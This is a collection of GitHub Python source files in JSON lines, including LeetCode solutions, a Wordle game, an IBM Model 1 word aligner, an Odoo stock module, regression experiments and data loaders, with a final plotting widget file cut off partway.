+{"seq_id":"21450550905","text":"import collections\n\n\nclass Solution(object):\n def numSmallerByFrequency(self, queries, words):\n \"\"\"\n T:O(nlogn) S:O(n)\n Runtime: 132 ms, faster than 63.33% of Python online submissions for Compare Strings by Frequency of the Smallest Character.\n Memory Usage: 13.4 MB, less than 75.00% of Python online submissions for Compare Strings by Frequency of the Smallest Character.\n :type queries: List[str]\n :type words: List[str]\n :rtype: List[int]\n \"\"\"\n def freq(w):\n counter = collections.Counter(w)\n key = sorted(counter.keys())\n return counter[key[0]]\n\n w_freq = [freq(w) for w in words]\n w_freq.sort()\n\n ans = []\n for q in queries:\n freq_q = freq(q)\n l, r = 0, len(w_freq)\n while l < r:\n mid = (l+r-1)/2\n if w_freq[mid] > freq_q:\n r = mid\n else:\n l = mid+1\n ans.append(len(w_freq)-l)\n return ans","repo_name":"jerrt2003/leetcode-in-python","sub_path":"1170_Compare_Strings_by_Frequency_of_the_Smallest_Character/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14193092366","text":"import click\r\nimport os\r\nimport pandas as pd\r\nimport csv\r\n\r\n@click.group()\r\ndef cli():\r\n pass\r\n\r\n@click.command(help=\"Generating required file\")\r\n@click.argument(\"language\", type=str, required=True)\r\n@click.option(\"-name\", default=\"hello-world\",show_default=True)\r\ndef generate(language,name):\r\n\r\n generate= language.lower()\r\n script_dir = os.path.dirname(__file__) #<-- absolute dir the script is in\r\n rel_path = \"templates\"\r\n abs_file_path = os.path.join(script_dir, rel_path)\r\n df= pd.read_csv(abs_file_path+\"/templates.csv\")\r\n for i in range(len(df)):\r\n if generate== df[\"Language\"][i]:\r\n generate= df[\"Extensions\"][i]\r\n break\r\n if generate[0]!='.':\r\n raise Exception(\"Language not supported. Proceed to add\")\r\n file=check_file_name(name,generate)\r\n f= open(file,'w')\r\n temp=open(abs_file_path+'\\\\_'+ generate,'r')\r\n f.write(temp.read())\r\n f.close()\r\n temp.close()\r\n\r\n@click.command(help=\"Adding new templates\")\r\n@click.argument(\"lang\")\r\n@click.argument(\"file\")\r\n\r\ndef add(lang,file):\r\n count=0\r\n str=\"\"\r\n lang= lang.lower()\r\n for i in file:\r\n if i != '.':\r\n str=str+ i\r\n count= count+1\r\n else:\r\n break\r\n\r\n extension=file[-(len(file)-count):]\r\n new_file=\"_\"+extension\r\n\r\n script_dir = os.path.dirname(__file__) #<-- absolute dir the script is in\r\n rel_path = \"templates\"\r\n abs_file_path = os.path.join(script_dir, rel_path)\r\n if os.path.isfile(abs_file_path+'\\\\'+new_file):\r\n click.echo(\"File already exists\")\r\n else:\r\n n_f= open(abs_file_path+'\\\\'+ new_file ,'w')\r\n f= open(file, 'r')\r\n n_f.write(f.read())\r\n f.close()\r\n n_f.close()\r\n click.echo(\"Template added\")\r\n csvfile= open(abs_file_path+'\\\\'+ \"templates.csv\",'a+')\r\n writer=csv.writer(csvfile)\r\n writer.writerow([lang,extension])\r\n csvfile.close()\r\n\r\ndef check_file_name(name,generate):\r\n file= name +generate\r\n while True:\r\n if os.path.exists('./'+file):\r\n name=click.prompt(\"%s already exists.\\nPress Y to overwrite it or give a new name\" %file)\r\n if name ==\"Y\" or name==\"y\":\r\n return file\r\n else:\r\n file= name +\".\"+generate\r\n else:\r\n return file\r\n\r\n\r\ncli.add_command(generate)\r\ncli.add_command(add)\r\n\r\nif __name__==\"__main__\":\r\n cli()\r\n","repo_name":"SOUMEE2000/Boilerplate-generator","sub_path":"App/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"8914405725","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nN, M = map(int, input().split())\r\nmiro=[list(map(int, input().rstrip())) for _ in range(N)]\r\n \r\ndx=[1,0,-1,0]\r\ndy=[0,1,0,-1]\r\n\r\nfrom collections import deque\r\n\r\nq = deque([[0,0,1]])\r\n\r\nwhile q:\r\n n = q.popleft()\r\n x = n[0]\r\n y = n[1]\r\n d = n[2]\r\n if x == N-1 and y == M-1:\r\n print(d)\r\n break\r\n else:\r\n for i in range(4):\r\n nx = x + dx[i]\r\n ny = y + dy[i]\r\n if -1 < nx and nx < N and -1 < ny and ny < M and miro[nx][ny] == 1:\r\n q.append([nx,ny, d+1])\r\n miro[nx][ny]=0","repo_name":"qorjiwon/Algorithm","sub_path":"백준/Silver/2178. 미로 탐색/미로 탐색.py","file_name":"미로 탐색.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"69903471209","text":"import numpy as np\nimport src.constants as constants\n\n\ndef get_length_of_cluster(clustered_song_note):\n cluster_size = 1\n\n for cluster_pointer in clustered_song_note[constants.ALL_POSSIBLE_INPUT_BOTTOM_TOP_CHOPPED:\n constants.ALL_NOTE_INPUT_VECTOR_SIZE]:\n if cluster_pointer == 1:\n return cluster_size\n\n cluster_size += 1\n\n return 12\n\n\ndef uncluster_song_notes(clustered_song_notes):\n unclustered_song_notes = []\n\n for clustered_song_note in clustered_song_notes:\n cluster_length = get_length_of_cluster(clustered_song_note)\n\n for cluster_index in range(cluster_length):\n unclustered_song_notes.append(\n clustered_song_note[0:constants.ALL_POSSIBLE_INPUT_BOTTOM_TOP_CHOPPED])\n\n return np.array(unclustered_song_notes)\n","repo_name":"arsenaultk9/Mirex2019PatternsPrediction","sub_path":"src/song_matrix_note_ungrouper.py","file_name":"song_matrix_note_ungrouper.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34317713937","text":"from Core_Code.Retention_Confirmation_Workflow import Join_StandAlone_Molecular_Features,Run_Model_On_Punitive_Matches_debug\r\nimport pandas as pd\r\nimport os\r\n\r\n# approved,unapproved,unsure = Run_Model_On_Punitive_Matches(mummichog_with_rts_mol_features,template_rt_file_dir,model_dir,file_dir)\r\n\r\ncmpd_file = r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/Standards/ScherzoValidation/ribose.csv'\r\ntemplate_file = r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/Standards/ScherzoValidation/TemplateCmpds101020noribose.csv'\r\nmodel_pickle_file =r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/Models/RanForc18predretandSMRTdata2.pickle'\r\nfile_dir = r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/'\r\n\r\n\r\ndef Run_Model_On_StandAlone_Cmpds(cmpd_file,template_file,model_pickle_file,file_dir=os.getcwd(),Threshold=1.0):\r\n pos_matches_with_mol_feature = Join_StandAlone_Molecular_Features(cmpd_file)\r\n approved,unapproved,unsure,predictions, prob_A,essential_df = Run_Model_On_Punitive_Matches_debug(pos_matches_with_mol_feature,template_file,model_pickle_file,file_dir,Threshold)\r\n return approved,unapproved,unsure,predictions, prob_A,essential_df\r\n# approved,unapproved,unsure,predictions, prob_A,essential_df = Run_Model_On_StandAlone_Cmpds(cmpd_file,template_file,model_pickle_file,file_dir)","repo_name":"allan-ruby/RTCheck","sub_path":"RTCheckProgram/Core_Code/Run_Model_Standalone_Cmpds.py","file_name":"Run_Model_Standalone_Cmpds.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70351522087","text":"from networkx.classes.graph import Graph\nimport numpy as np\nimport networkx as nx\nimport pickle\nfrom scipy.sparse import csr_matrix, lil_matrix\n\ndef loadBinary(f_name:str) -> csr_matrix:\n with open(f_name, 'rb') as rb:\n adj:csr_matrix = pickle.load(rb)\n return adj\n\ndef createFeatures(adj:csr_matrix) -> lil_matrix:\n n = adj.shape[0]\n\n features = np.zeros((n, n))\n for i in range(n):\n features[i][i] = 1\n features = lil_matrix(features)\n return features\n\nf_name = f'../vars/W_adj.adj'\nadj:csr_matrix = loadBinary(f_name)\n\nfeatures:lil_matrix = createFeatures(adj)\n\nf_name:str = f'../vars/W_bi.adj'\nbi_adj:csr_matrix = loadBinary(f_name)\n\n# f_name:str = '../vars/c_c.adj'\n# adj:csr_matrix = loadBinary(f_name)\n\n# features:lil_matrix = createFeatures(adj)\n\n# f_name:str = '../vars/c_t.biadj'\n# bi_adj:csr_matrix = loadBinary(f_name)\n\n# with open('../vars/annotate.ct', 'rb') as rb:\n# annotate_list:list = pickle.load(rb)\n","repo_name":"Last-Vega/kumagai","sub_path":"src/input_data.py","file_name":"input_data.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6378314182","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 20 13:16:15 2017\n\n@author: jean-marcsevin\n\"\"\"\n\nimport requests\nimport pandas as pd\nimport re\n\ntest = requests.get('https://www.open-medicaments.fr/api/v1/medicaments/63605055').json()\nlabo = test['titulaires']\nlibelle = test['presentations'][0]['libelle']\n\ndef get_meds():\n r = requests.get('https://www.open-medicaments.fr/api/v1/medicaments?query=ibuprofene&limit=100')\n return r.json()\n\ndf = pd.DataFrame([[med['codeCIS'], med['denomination']] for med in get_meds()])\n\n# df = pd.read_csv('CIS_bdpm.txt', sep='\\t')\n\nregex = re.compile('\\d+')\ndosage_par_unite = int(regex.findall(test['denomination'])[0])\nnombre_unite_par_boite = int(regex.findall(libelle)[0])","repo_name":"MS-BGD-2018-KIT-BIGDATA/JeanMarc_SEVIN","sub_path":"Lesson4/exo_cc_lesson_04.py","file_name":"exo_cc_lesson_04.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25659187668","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 15 10:40:11 2016\n\n@author: harrymunro\n\nLinear regression testing boarders and alighters vs mean dwell time.\n\"\"\"\n\nfrom sklearn import linear_model\nfrom sklearn.externals import joblib\nimport numpy as np\nimport pandas as pd\n\nfilename = 'resampled_by_unique_location.csv'\ndf = pd.read_csv(filename)\n\ny = np.array(df['DWELL TIME'])\nx1 = df['BOARDERS AND ALIGHTERS']\nx2 = df['SAF RATE']\nx3 = df['SEATING CAPACITY']\nx4 = df['STANDING CAPACITY']\nx5 = df['TRAIN DENSITY']\n\nX = np.array([x1, x2, x3, x4, x5])\n#X = np.array([x3])\nX = X.T\n\n# lasoo linear regression\nreg = linear_model.Lasso(alpha = 0.1)\nreg.fit(X, y)\nlassoo_score = reg.score(X, y)\n\n# ordinary linear regression\nreg = linear_model.LinearRegression()\nreg.fit(X, y)\nscore_ordinary_linear = reg.score(X, y)\nparams_ordinary_linear = reg.get_params()\njoblib.dump(reg, 'linear_regression_model.pkl')\n\nfrom scipy import stats\n#slope, intercept, r_value, p_value, std_err = stats.linregress(df['BOARDERS AND ALIGHTERS'],df['DWELL TIME'])\n#r2_linear = r_value**2\n\n# decision tree\nfrom sklearn import tree\nreg = tree.DecisionTreeRegressor()\nreg = reg.fit(X, y)\ntree_score = reg.score(X, y)\nfor n in range(2, 51, 2):\n reg = tree.DecisionTreeRegressor(max_depth = n)\n reg = reg.fit(X, y)\n print(reg.score(X, y))\n\n# neural network\nfrom sklearn import neural_network\nreg = neural_network.MLPRegressor(hidden_layer_sizes = 100)\nreg = reg.fit(X, y)\nscore_nn = reg.score(X, y)\nparams_nn = reg.get_params()\nfor n in range(10, 310, 10):\n reg = neural_network.MLPRegressor(hidden_layer_sizes = n)\n reg = reg.fit(X, y)\n print(reg.score(X, y))\n\n# SGD\nreg = linear_model.SGDRegressor()\nreg = reg.fit(X, y)\nscore_sgd = reg.score(X, y)\n\n# SVM\nfrom sklearn import svm\nreg = svm.SVR()\nreg = reg.fit(X, y)\nscore_svm = reg.score(X, y)\n\n# KNN\nfrom sklearn.neighbors import KNeighborsRegressor\nneigh = KNeighborsRegressor()\nreg = neigh.fit(X, y)\nreg.score(X,y)\n\nfor n in range(2, 21):\n neigh = KNeighborsRegressor(n_neighbors = n, weights = 'distance')\n reg = neigh.fit(X, y)\n s = reg.score(X,y)\n print(\"%r\" % s)\n","repo_name":"harrymunro/MSc-Code","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15021144305","text":"import collections\nimport math\nimport aer\nimport initializations as inits\n\ndef EM(s_t_pairs, max_iterations = 10,\n val_sentence_pairs = None, reference_alignments = None, fn_debug = None):\n lprobs = inits.initialize_lprobs_uniform(s_t_pairs)\n i = 0\n log_likelihoods = []\n AERs = []\n while i < max_iterations:\n # initialize\n log_likelihood = 0\n AER = 0\n counts_t_given_s = collections.defaultdict(lambda: collections.defaultdict(int))\n total_s = collections.defaultdict(int)\n\n # calculate counts and log likelihood\n for (s_sentence, t_sentence) in s_t_pairs:\n for t_word in t_sentence:\n # normalization factor\n s_total_t = _likelihood_target_word(s_sentence, t_word, lprobs)\n log_likelihood += math.log(s_total_t)\n for s_word in s_sentence:\n update = lprobs[s_word][t_word]/(s_total_t * len(s_sentence))\n counts_t_given_s[s_word][t_word] += update\n total_s[s_word] += update\n \n # store log_likelihood and AER values\n log_likelihoods.append(log_likelihood)\n if val_sentence_pairs and reference_alignments:\n predicted_alignments = align(lprobs, val_sentence_pairs)\n AER = aer.calculate_AER(reference_alignments, predicted_alignments)\n AERs.append(AER)\n\n # print debug info\n if fn_debug:\n prev_llhood = None\n prev_AER = None\n if len(log_likelihoods) > 1:\n prev_llhood = log_likelihoods[-2]\n if len(AERs) > 1:\n prev_AER = AERs[-2]\n fn_debug(i, log_likelihood, AER, prev_llhood, prev_AER, lprobs)\n\n # update probabilities\n for s in lprobs.keys():\n for t in lprobs[s].keys():\n lprobs[s][t] = counts_t_given_s[s][t]/total_s[s]\n\n # update iteration number\n i += 1\n return lprobs, log_likelihoods, AERs\n\ndef log_likelihood_data(s_t_pairs, lprobs):\n return sum([log_likelihood_sentence(s_t_pair, lprobs) for s_t_pair in s_t_pairs])\n\ndef log_likelihood_sentence(s_t_pair, lprobs):\n (s_sentence, t_sentence) = s_t_pair\n return sum([ math.log(_likelihood_target_word(s_sentence, t_word, lprobs)) for t_word in t_sentence])\n\ndef _likelihood_target_word(s_sentence, t_word, lprobs):\n return sum([lprobs[s_word][t_word] for s_word in s_sentence]) / len(s_sentence)\n\ndef align(lprobs, sentence_pairs):\n if isinstance(sentence_pairs, tuple):\n return _align_sentence_pair(lprobs, sentence_pairs)\n return [ _align_sentence_pair(lprobs, sentence_pair) for sentence_pair in sentence_pairs ]\n\ndef _print_lexicon_probs(lprobs):\n for s in lprobs.keys():\n for t in lprobs[s].keys():\n if lprobs[s][t] > 0:\n print (s, t, lprobs[s][t])\n\ndef _align_sentence_pair(lprobs, sentence_pair):\n s_sentence = sentence_pair[0]\n t_sentence = sentence_pair[1]\n best_alignment = set()\n for j, t_word in enumerate(t_sentence):\n best_align_prob = -1\n best_align_pos = -1\n for i, s_word in enumerate(s_sentence):\n# if s_word not in lprobs.keys() or t_word not in lprobs[s_word].keys():\n# continue # ignore unseen source and target words\n align_prob = get_lprob(s_word, t_word, lprobs) #p(t|s)\n if align_prob >= best_align_prob:\n best_align_pos = i\n best_align_prob = align_prob\n if (best_align_pos > 0): # Leave out NULL-alignments (and alignments between unseen words)\n best_alignment.add((best_align_pos, j + 1)) # word positions start at 1\n return best_alignment\n\ndef get_lprob(s_word, t_word, lprobs):\n return lprobs[s_word].get(t_word, 0) #prob 0 if s/t word do not co-occur in training\n\n","repo_name":"maartje/NLP2-Project1","sub_path":"IBM1.py","file_name":"IBM1.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39400229573","text":"from odoo import models, fields, api\nfrom datetime import date\n\n\nclass BtInStock(models.Model):\n _name = 'bt.in.stock'\n _description = 'In stock'\n\n _inherit = 'bt.create.sm.mixin'\n\n name = fields.Char(string='Name')\n\n purchase_order_id = fields.Many2one(comodel_name='bt.purchase.order',\n string='Purchase order')\n\n date = fields.Date(string='Date', default=date.today())\n\n supplier_id = fields.Many2one(comodel_name='bt.partner',\n string='Supplier')\n\n line_ids = fields.One2many(comodel_name='bt.is.line',\n inverse_name='invoice_id',\n auto_join=True,\n string='Invoice lines')\n\n total_amount = fields.Float(string='Total amount',\n readonly=True)\n\n state = fields.Selection(selection=[('draft', 'Draft'), ('post', 'Post')],\n default='draft')\n\n warehouse_id = fields.Many2one(comodel_name='bt.warehouse',\n string='Warehouse')\n\n stock_move_id = fields.Many2one(comodel_name='bt.stock.move',\n string='Stock move')\n\n stock_move_line_ids = fields.One2many(related='stock_move_id.line_ids',\n string='Stock move lines')\n\n def _compute_payment_supplier_count(self):\n self.payment_supplier_count = self.env['bt.payment.supplier'].search_count(\n [('po_id', '=', self.purchase_order_id.id)])\n\n payment_supplier_count = fields.Integer(string='Payment supplier',\n compute='_compute_payment_supplier_count')\n\n @api.model\n def create_payment(self, id):\n is_id = self.env['bt.in.stock'].search([('id', '=', id[0])])\n vals = {\n 'name': self.env['ir.sequence'].next_by_code('bt.ps.sequence') or 'New',\n 'partner_id': is_id.supplier_id.id,\n 'po_id': is_id.purchase_order_id.id,\n 'total_amount': is_id.total_amount\n }\n self.env['bt.payment.supplier'].create(vals)\n\n def get_payment_supplier(self):\n payments = self.env['bt.payment.supplier'].search([('po_id', '=', self.purchase_order_id.id)])\n\n tree_view = self.env.ref('_bt_trade.bt_payment_supplier_view_tree')\n form_view = self.env.ref('_bt_trade.bt_payment_supplier_view_form')\n\n if len(payments) == 1:\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Payment supplier',\n 'res_model': 'bt.payment.supplier',\n 'view_mode': 'form',\n 'views': [[form_view.id, 'form']],\n 'res_id': payments.id,\n }\n else:\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Payment supplier',\n 'res_model': 'bt.payment.supplier',\n 'view_mode': 'tree,form',\n 'views': [[tree_view.id, 'tree'], [form_view.id, 'form']],\n 'domain': [('id', 'in', payments.ids)],\n }\n\n @api.model\n def create(self, vals_list):\n if not vals_list.get('name'):\n vals_list['name'] = self.env['ir.sequence'].next_by_code('bt.is.sequence') or 'New'\n\n res = super(BtInStock, self).create(vals_list)\n return res\n\n def write(self, vals_list):\n res = super(BtInStock, self).write(vals_list)\n if vals_list.get('state') == 'post':\n self.stock_move_id = self.fill_stock_move(\n self.prepare_sm_values(self.date, self.warehouse_id.id, self.line_ids, type='invoice'),\n sm_id=self.stock_move_id.id)\n else:\n if self.state != 'post':\n self.clear_sm(self.stock_move_id.id)\n if vals_list.get('date'):\n self.stock_move_id.date = res.date\n return res\n","repo_name":"ikuchmar/OdooDev","sub_path":"_tu_helper/__tasks/_bt_trade/models/bt_in_stock.py","file_name":"bt_in_stock.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25152337911","text":"import numpy as np\nfrom typing import List, Tuple, Union, Callable\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndef get_data(experiment_name: str, count: int = 200, sample_size: int = 200, sep: str = ' ',\n n_plotted_trajectories: int = 5,\n plot_config: Union[List[Tuple[int, int]], None] = None, start_index: int = 0) -> np.ndarray:\n \"\"\"\n Gets trajectories data for the experiment\n @param experiment_name:\n @param count: Number of trajectories to read\n @param sample_size: Number of points in each trajectory\n @param sep: CSV separator\n @param n_plotted_trajectories:\n @param plot_config: Plots configurations: pairs of component indexes to plot\n @return: Loaded trajectories as a numpy array\n \"\"\"\n ans = []\n for i in range(count):\n d = pd.read_csv(f\"trajectories/{experiment_name}/{start_index + i}.csv\", sep=sep, header=None)\n N = len(d)\n assert N >= sample_size\n # take evenly spaced `sample_size` points\n ans.append(d.to_numpy()[::(N // sample_size)])\n X = np.array(ans)\n\n # Optionally, plot input trajectories\n if plot_config is not None:\n # Plot only few trajectories\n X_plot = X[:n_plotted_trajectories]\n # plot for every configuration\n N = len(plot_config)\n fig, axs = plt.subplots(N)\n fig.suptitle(f\"Input trajectories: {experiment_name}\")\n for idx in range(N):\n # components on the plot\n j, k = plot_config[idx]\n if N == 1:\n x = axs\n else:\n x = axs[idx]\n for traj in X_plot:\n x.scatter(traj[:, j], traj[:, k])\n x.set_xlabel(f\"Component #{j}\")\n x.set_ylabel(f\"Component #{k}\")\n fig.show()\n return X\n\n\ndef sortby_H(X: np.ndarray, H: Callable[[np.ndarray], float]) -> np.ndarray:\n \"\"\"\n Sorts data by Hamiltonian. Makes it possible to plot beautiful distance matrices.\n @param X: Trajectories data\n @param H: Hamiltonian\n @return: Sorted trajectories data\n \"\"\"\n Hs = np.array([H(x[0]) for x in X])\n return X[Hs.argsort()]\n\n\ndef batch_get_data(experiment_name: str, count: int = 200, sample_size: int = 200, sep: str = ' ',\n n_plotted_trajectories: int = 5,\n plot_config: Union[List[Tuple[int, int]], None] = None, start_index: int = 0, n_batches: int = 5):\n res = []\n for i in range(n_batches):\n next_plot_config = plot_config if i == 0 else None\n res.append(get_data(experiment_name, count, sample_size, sep, n_plotted_trajectories, next_plot_config,\n start_index + count * i))\n return np.array(res)\n","repo_name":"waleko/ai-prentice-conservation-laws","sub_path":"utils/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72391455528","text":"import sys\nfrom argparse import ArgumentParser\nimport os\nimport numpy as np\nimport enchant\nfrom termcolor import colored\nfrom typing import List, Iterable\n\n\nclass Wordle:\n EXACT_MATCH = 'green'\n MATCH = 'yellow'\n MISMATCH = 'white'\n SUPPORTED_LANGUAGES = ['en_US', 'de_DE']\n DATA_DIR = 'data/'\n MAX_TRIES = 5\n WORD_LENGTH = 5\n CMDS = {'solve': '!solve', 'quit': '!quit'}\n\n def __init__(self, language: str = 'en_US', seed: int = None, solution: str = None) -> None:\n assert language in self.SUPPORTED_LANGUAGES\n self.language = language\n self.dictionary = enchant.Dict(language)\n self.solution = solution\n self.language = language\n self.solved = False\n self.alphabet = {l: None for l in 'abcdefghijklmnopqrstuvwxyz'}\n\n with open(os.path.join(self.DATA_DIR, self.language + '_reviewed.txt')) as infile:\n self.word_list = [word.strip('\\n') for word in infile.readlines()]\n\n self.solution = solution\n if solution is None:\n self.seed = seed\n if seed is None:\n self.seed = np.random.randint(100000, 999999)\n np.random.seed(self.seed)\n self.solution = np.random.choice(self.word_list, 1)[0]\n else:\n self._validate_input(solution)\n\n def _assert_correct_word_length(self, word: str) -> None:\n assert len(word) == self.WORD_LENGTH, f'Word must have {self.WORD_LENGTH} letters.'\n\n def _assert_correct_spelling(self, word: str) -> None:\n assert self.dictionary.check(word) or self.dictionary.check(word.capitalize()), \\\n f'{word} not found in {self.language} dictionary.'\n\n def _validate_input(self, word: str):\n self._assert_correct_word_length(word)\n self._assert_correct_spelling(word)\n\n def check_submission(self, submission: str) -> List[str]:\n self._validate_input(submission)\n\n response = [self.MISMATCH] * self.WORD_LENGTH\n for index, (lsub, lsol) in enumerate(zip(submission, self.solution)):\n if lsub == lsol:\n response[index] = self.EXACT_MATCH\n continue\n if lsub in self.solution:\n response[index] = self.MATCH\n\n if response == [self.EXACT_MATCH] * self.WORD_LENGTH:\n self.solved = True\n\n return response\n\n def play(self):\n print('*'*50 + '\\n' + ' '*21 + 'WORDLE\\n' + '*'*50)\n print(f'Selected language: {self.language}, number of tries: {self.MAX_TRIES}. Game random seed: {self.seed}')\n print(f'Type {self.CMDS[\"quit\"]} to quit or {self.CMDS[\"solve\"]} to solve.\\n')\n tries = 0\n while not self.solved and tries <= self.MAX_TRIES:\n _input = input(f'Type a {self.WORD_LENGTH} letter word> ')\n if _input == self.CMDS['solve']:\n break\n if _input == self.CMDS['quit']:\n sys.exit()\n try:\n coding = self.check_submission(_input)\n self._update_alphabet(_input, coding)\n self._print_colored_response(_input, coding)\n except AssertionError as e:\n print(e)\n continue\n tries += 1\n\n if not w.solved:\n print(f'\\nwomp womp womp... the solution was {self.solution}')\n else:\n print(f'Congrats, you did it! In {tries} tries.')\n\n def _update_alphabet(self, submission: str, coding: Iterable[str]) -> None:\n for letter, color in zip(submission, coding):\n if self.alphabet[letter] == self.EXACT_MATCH and color == self.MATCH:\n continue\n self.alphabet[letter] = color\n\n def _print_colored_response(self, submission: str, coding: Iterable[str]) -> None:\n text = ''\n for letter, color in zip(submission, coding):\n if color == self.MISMATCH:\n text = text + colored(letter, 'white', 'on_grey')\n else:\n text = text + colored(letter, 'grey', f'on_{color}')\n\n text = text + ' ' * 10\n\n for letter in self.alphabet:\n if self.alphabet[letter] is None:\n text = text + ' ' + letter\n elif self.alphabet[letter] == self.MISMATCH:\n text = text + ' ' + colored(letter, 'white', 'on_grey')\n else:\n text = text + ' ' + colored(letter, 'grey', f'on_{self.alphabet[letter]}')\n\n print(text)\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--language', type=str, choices=['en_US', 'de_DE'], default='en_US', help='Language to play.')\n parser.add_argument('--seed', type=int, help='Seed to play a specific word. Overridden by solution')\n parser.add_argument('--solution', type=str, help='Set a specific solution word. Overrides seed.')\n\n args = parser.parse_args()\n\n w = Wordle(language=args.language, seed=args.seed, solution=args.solution)\n w.play()\n","repo_name":"flinder/cli-wordle","sub_path":"src/wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":4969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16100057514","text":"import asyncio\nimport logging\n\nfrom core.database.database import create_db\nfrom core.feeds.helpers import action_wrapper\nfrom core.database.crud.exchange import read_exchange_by_id\nfrom core.database.crud.market import read_markets_by_exchange\nfrom core.exchanges.coinbase.api import CoinbaseApiHelper\nfrom core.feeds.coinbase.public_trades_feed import fetch_products\n\n\ndef daily_currency_stats_result_generator(configs: dict):\n exchange_id = configs.get(\"exchange_id\")\n if not exchange_id:\n logging.error(\n \"Daily Currency Stats Result Generator : Required Exchange ID is Missing from Feed Configs\"\n )\n return\n loop = asyncio.get_event_loop()\n feed_data = loop.run_until_complete(fetch_products(exchange_id))\n if not feed_data:\n logging.error(\n \"Daily Currency Stats Result Generator : Failed to Fetch Feed Data from Database\"\n )\n return\n exchange = feed_data.get(\"exchange\")\n if not exchange:\n logging.error(\n \"Daily Currency Stats Result Generator : Exchange is Missing or None\"\n )\n return\n markets = feed_data.get(\"markets\")\n if not markets:\n logging.error(\n f\"Daily Currency Stats Result Generator : Markets are Missing or None\"\n )\n return\n for market in markets:\n stats = exchange.api(exchange).get_daily_currency_stats(market.symbol)\n yield action_wrapper(stats)\n","repo_name":"Kroonjay/Bottify","sub_path":"core/feeds/coinbase/daily_currency_stats_feed.py","file_name":"daily_currency_stats_feed.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22269639720","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n\n# try to solve the question using two pointer method slow and fast,\n# forward slow pointer to next node and fast pointer to next of next node, while fast node pointer is not None\n# if slow and fast found at same node return True , bcz if linked list has cycle then at a condition slow and fast pointer comes on same node\n# if fast or slow have no next (next is None) then return False bcz the linked list has no cycle\n\n\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n # return false if LinkedList is empty\n if not head:\n return False\n\n # starting slow from head\n slow=head\n\n # starting fast from next of head\n fast=head.next\n\n while fast and fast.next:\n\n # if slow and fast found at same node return True\n if slow==fast:\n return True\n\n # slow -> slow.next\n slow=slow.next\n\n # fast -> fast.next.next\n fast=fast.next.next\n \n\n return False\n \n\n# Time complexity - o(n)\n# Space complexity - o(1)\n","repo_name":"ofmukesh/Learning","sub_path":"LeetCode_Top_150/hasCycle.py","file_name":"hasCycle.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17077985452","text":"import bqplot\nimport ipywidgets as widgets\nimport numpy as np\nimport traitlets\n\nimport vaex.image\n\n\nblackish = '#777'\nDEBOUNCE_SELECT = 0.5\n\n\nclass _BqplotMixin(traitlets.HasTraits):\n x_min = traitlets.CFloat()\n x_max = traitlets.CFloat()\n y_min = traitlets.CFloat(None, allow_none=True)\n y_max = traitlets.CFloat(None, allow_none=True)\n x_label = traitlets.Unicode()\n y_label = traitlets.Unicode()\n tool = traitlets.Unicode(None, allow_none=True)\n\n def __init__(self, zoom_y=True, **kwargs):\n super().__init__(**kwargs)\n self.x_scale = bqplot.LinearScale(allow_padding=False)\n self.y_scale = bqplot.LinearScale(allow_padding=False)\n widgets.link((self, 'x_min'), (self.x_scale, 'min'))\n widgets.link((self, 'x_max'), (self.x_scale, 'max'))\n widgets.link((self, 'y_min'), (self.y_scale, 'min'))\n widgets.link((self, 'y_max'), (self.y_scale, 'max'))\n\n self.x_axis = bqplot.Axis(scale=self.x_scale)\n self.y_axis = bqplot.Axis(scale=self.y_scale, orientation='vertical')\n widgets.link((self, 'x_label'), (self.x_axis, 'label'))\n 